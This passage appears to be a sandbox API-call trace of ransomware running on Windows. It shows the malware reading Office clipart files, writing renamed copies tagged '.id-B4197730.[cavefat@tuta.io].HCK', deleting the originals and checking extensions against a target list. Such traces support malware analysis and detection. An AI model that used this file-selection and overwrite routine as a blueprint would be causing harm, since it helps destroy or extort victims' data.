Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.677] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.677] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.677] GetLastError () returned 0x0 [0236.677] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xb5ac, lpOverlapped=0x0) returned 1 [0236.680] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xb5b0, lpOverlapped=0x0) returned 1 [0236.681] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.681] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.681] SetEndOfFile (hFile=0x4a4) returned 1 [0236.681] CloseHandle (hObject=0x4a4) returned 1 [0236.681] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.681] SetEndOfFile (hFile=0x4c0) returned 1 [0236.684] CloseHandle (hObject=0x4c0) returned 1 [0236.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0236.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.685] lstrlenW (lpString=".doc") returned 4 [0236.685] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.685] lstrlenW (lpString=".docx") returned 5 [0236.685] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0236.685] lstrlenW (lpString=".pdf") returned 4 [0236.685] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.685] lstrlenW (lpString=".xls") returned 4 [0236.685] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.685] lstrlenW (lpString=".xlsx") returned 5 [0236.685] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0236.685] lstrlenW (lpString=".ppt") returned 4 [0236.685] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.685] lstrlenW (lpString=".zip") returned 4 [0236.685] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.686] lstrlenW (lpString=".rar") returned 4 [0236.686] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.686] lstrlenW (lpString=".bz2") returned 4 [0236.686] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.686] lstrlenW (lpString=".7z") returned 3 [0236.686] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".dbf") returned 4 [0236.686] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".1cd") returned 4 [0236.686] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".jpg") returned 4 [0236.686] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".doc") returned 4 [0236.686] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.686] lstrlenW (lpString=".docx") returned 5 [0236.686] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0236.686] lstrlenW (lpString=".pdf") returned 4 [0236.686] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.686] lstrlenW (lpString=".xls") returned 4 [0236.686] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.686] lstrlenW (lpString=".xlsx") returned 5 [0236.686] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0236.686] lstrlenW (lpString=".ppt") returned 4 [0236.686] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".zip") returned 4 [0236.686] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.686] lstrlenW (lpString=".rar") returned 4 [0236.686] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.686] lstrlenW (lpString=".bz2") returned 4 [0236.686] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.686] lstrlenW (lpString=".7z") returned 3 [0236.686] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".dbf") returned 4 [0236.686] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".1cd") returned 4 [0236.686] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0236.686] lstrlenW (lpString=".jpg") returned 4 [0236.686] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.687] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.687] lstrlenW (lpString="J0148309.JPG") returned 12 [0236.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.688] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=43674) returned 1 [0236.688] CloseHandle (hObject=0x4c0) returned 1 [0236.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220 [0236.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.688] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.689] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.689] GetLastError () returned 0x0 [0236.689] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xaa9a, lpOverlapped=0x0) returned 1 [0236.692] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xaaa0, lpOverlapped=0x0) returned 1 [0236.693] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.693] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.693] SetEndOfFile (hFile=0x4a4) returned 1 [0236.693] CloseHandle (hObject=0x4a4) returned 1 [0236.693] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.693] SetEndOfFile (hFile=0x4c0) returned 1 [0236.696] CloseHandle (hObject=0x4c0) returned 1 [0236.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0236.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.697] lstrlenW (lpString=".doc") returned 4 [0236.697] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.697] lstrlenW (lpString=".docx") returned 5 [0236.697] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0236.697] lstrlenW (lpString=".pdf") returned 4 [0236.697] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.697] lstrlenW (lpString=".xls") returned 4 [0236.697] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.697] lstrlenW (lpString=".xlsx") returned 5 [0236.697] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0236.697] lstrlenW (lpString=".ppt") returned 4 [0236.697] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.697] lstrlenW (lpString=".zip") returned 4 [0236.697] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.697] lstrlenW (lpString=".rar") returned 4 [0236.697] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.697] lstrlenW (lpString=".bz2") returned 4 [0236.697] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.697] lstrlenW (lpString=".7z") returned 3 [0236.697] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.697] lstrlenW (lpString=".dbf") returned 4 [0236.697] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.697] lstrlenW (lpString=".1cd") returned 4 [0236.698] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.698] lstrlenW (lpString=".jpg") returned 4 [0236.698] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.698] lstrlenW (lpString=".doc") returned 4 [0236.698] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.698] lstrlenW (lpString=".docx") returned 5 [0236.698] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0236.698] lstrlenW (lpString=".pdf") returned 4 [0236.698] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.698] lstrlenW (lpString=".xls") returned 4 [0236.698] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.698] lstrlenW (lpString=".xlsx") returned 5 [0236.698] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0236.698] lstrlenW (lpString=".ppt") returned 4 [0236.698] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.698] lstrlenW (lpString=".zip") returned 4 [0236.698] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.698] lstrlenW (lpString=".rar") returned 4 [0236.698] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.698] lstrlenW (lpString=".bz2") returned 4 [0236.698] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.698] lstrlenW (lpString=".7z") returned 3 [0236.698] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.698] lstrlenW (lpString=".dbf") returned 4 [0236.698] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.698] lstrlenW (lpString=".1cd") returned 4 [0236.698] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0236.698] lstrlenW (lpString=".jpg") returned 4 [0236.698] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.698] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.698] lstrlenW (lpString="J0148757.JPG") returned 12 [0236.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.700] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=67540) returned 1 [0236.700] CloseHandle (hObject=0x4c0) returned 1 [0236.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220 [0236.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.700] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.700] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.701] GetLastError () returned 0x0 [0236.701] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x107d4, lpOverlapped=0x0) returned 1 [0236.982] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x107e0, lpOverlapped=0x0) returned 1 [0237.019] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.019] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.019] SetEndOfFile (hFile=0x4a4) returned 1 [0237.019] CloseHandle (hObject=0x4a4) returned 1 [0237.019] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.019] SetEndOfFile (hFile=0x4c0) returned 1 [0237.022] CloseHandle (hObject=0x4c0) returned 1 [0237.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0237.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.023] lstrlenW (lpString=".doc") returned 4 [0237.023] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0237.023] lstrlenW (lpString=".docx") returned 5 [0237.023] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0237.023] lstrlenW (lpString=".pdf") returned 4 [0237.023] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0237.023] lstrlenW (lpString=".xls") returned 4 [0237.023] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0237.023] lstrlenW (lpString=".xlsx") returned 5 [0237.023] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0237.024] lstrlenW (lpString=".ppt") returned 4 [0237.024] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0237.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.024] lstrlenW (lpString=".zip") returned 4 [0237.024] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0237.024] lstrlenW (lpString=".rar") returned 4 [0237.024] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0237.024] lstrlenW (lpString=".bz2") returned 4 [0237.024] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0237.024] lstrlenW (lpString=".7z") returned 3 [0237.024] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0237.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.024] lstrlenW (lpString=".dbf") returned 4 [0237.024] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0237.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.024] lstrlenW (lpString=".1cd") returned 4 [0237.024] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0237.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.024] lstrlenW (lpString=".jpg") returned 4 [0237.024] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0237.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.024] lstrlenW (lpString=".doc") returned 4 [0237.024] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0237.024] lstrlenW (lpString=".docx") returned 5 [0237.024] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0237.024] lstrlenW (lpString=".pdf") returned 4 [0237.024] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0237.024] lstrlenW (lpString=".xls") returned 4 [0237.024] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0237.024] lstrlenW (lpString=".xlsx") returned 5 [0237.024] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0237.024] lstrlenW (lpString=".ppt") returned 4 [0237.024] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0237.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.024] lstrlenW (lpString=".zip") returned 4 [0237.024] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0237.025] lstrlenW (lpString=".rar") returned 4 [0237.025] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0237.025] lstrlenW (lpString=".bz2") returned 4 [0237.025] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0237.025] lstrlenW (lpString=".7z") returned 3 [0237.025] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0237.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.025] lstrlenW (lpString=".dbf") returned 4 [0237.025] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0237.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.025] lstrlenW (lpString=".1cd") returned 4 [0237.025] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0237.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0237.025] lstrlenW (lpString=".jpg") returned 4 [0237.025] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0237.025] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.025] lstrlenW (lpString="J0151063.WMF") returned 12 [0237.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.027] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=10632) returned 1 [0237.027] CloseHandle (hObject=0x4c0) returned 1 [0237.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220 [0237.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.028] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.028] SetFilePointerEx (in: 